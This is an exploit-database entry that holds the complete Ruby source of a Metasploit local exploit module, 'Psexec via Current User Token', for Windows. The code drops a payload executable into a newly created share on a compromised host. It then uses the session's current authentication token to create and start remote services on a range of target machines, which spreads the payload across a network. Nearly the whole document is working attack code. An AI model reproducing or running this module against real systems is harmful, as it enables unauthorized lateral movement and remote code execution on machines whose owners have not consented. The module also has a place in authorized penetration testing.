Psexec Via Current User Token

2012-08-03T00:00:00
ID 1337DAY-ID-19103
Type zdt
Reporter metasploit
Modified 2012-08-03T00:00:00

Description

Exploit for windows platform in category remote exploits

                                        
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require 'msf/core'
require 'rex'
require 'msf/core/post/windows/services'

class Metasploit3 < Msf::Exploit::Local
  include Post::Windows::WindowsServices
  include Exploit::EXE
  include Post::File
  include Post::Common

  def initialize(info={})
    super( update_info( info,
        'Name'          => 'Psexec via Current User Token',
        'Description'   => %q{
          This module uploads an executable file to the victim system, creates
          a share containing that executable, creates a remote service on each
          target system using a UNC path to that file, and finally starts the
          service(s).

          The result is similar to psexec but with the added benefit of using
          the session's current authentication token instead of having to know
          a password or hash.
        },
        'License'       => MSF_LICENSE,
        'Author'        => [
            'egypt',
            'jabra'  # Brainstorming and help with original technique
          ],
        'References'    => [
            # same as for windows/smb/psexec
            [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
            [ 'OSVDB', '3106'],
            [ 'URL', 'http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx' ]
          ],
        'Version'       => '$Revision$',
        'Platform'      => [ 'windows' ],
        'SessionTypes'  => [ 'meterpreter' ],
        'Targets' => [ [ 'Universal', {} ] ],
        'DefaultTarget' => 0
      ))

    register_options([
      OptString.new("INTERNAL_ADDRESS", [
        false,
        "Session's internal address or hostname for the victims to grab the "+
        "payload from (Default: detected)"
        ]),
      OptString.new("NAME",     [ false, "Service name on each target in RHOSTS (Default: random)" ]),
      OptString.new("DISPNAME", [ false, "Service display name (Default: random)" ]),
      OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
    ])
  end

  def exploit
    name = datastore["NAME"] || Rex::Text.rand_text_alphanumeric(10)
    display_name = datastore["DISPNAME"] || Rex::Text.rand_text_alphanumeric(10)

    # XXX Find the domain controller

    #share_host = datastore["INTERNAL_ADDRESS"] || detect_address
    share_host = datastore["INTERNAL_ADDRESS"] || session.session_host
    print_status "Using #{share_host} as the internal address for victims to get the payload from"

    # Build a random name for the share and directory
    share_name = Rex::Text.rand_text_alphanumeric(8)
    drive = session.fs.file.expand_path("%SYSTEMDRIVE%")
    share_dir = "#{drive}\\#{share_name}"

    # Create them
    print_status("Creating share #{share_dir}")
    session.fs.dir.mkdir(share_dir)
    cmd_exec("net share #{share_name}=#{share_dir}")

    # Generate an executable from the shellcode and drop it in the share
    # directory
    filename = "#{Rex::Text.rand_text_alphanumeric(8)}.exe"
    payload_exe = generate_payload_exe_service(
      :servicename => name,
      # XXX Ghetto
      :arch => payload.send(:pinst).arch.first
    )

    print_status("Dropping payload #{filename}")
    write_file("#{share_dir}\\#{filename}", payload_exe)

    service_executable = "\\\\#{share_host}\\#{share_name}\\#{filename}"

    begin
      Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server|
        begin
          print_status("#{server.ljust(16)} Creating service #{name}")

          # 3 is Manual startup. Should probably have constants for this junk
          service_create(name, display_name, service_executable, 3, server)

          # If everything went well, this will create a session. If not, it
          # might be permissions issues or possibly we failed to create the
          # service.
          print_status("#{server.ljust(16)} Starting the service")
          service_start(name, server)

          print_status("#{server.ljust(16)} Deleting the service")
          service_delete(name, server)
        rescue
          print_error("Exception running payload: #{$!.class} : #{$!}")
          print_error("#{server.ljust(16)} WARNING: May have failed to clean up!")
          print_error("#{server.ljust(16)} Try a command like: sc \\\\#{server}\\ delete #{name}")
          next
        end
      end
    ensure
      print_status("Deleting share #{share_name}")
      cmd_exec("net share #{share_name} /delete /y")
      print_status("Deleting files #{share_dir}")
      cmd_exec("cmd /c rmdir /q /s #{share_dir}")
    end

  end

end



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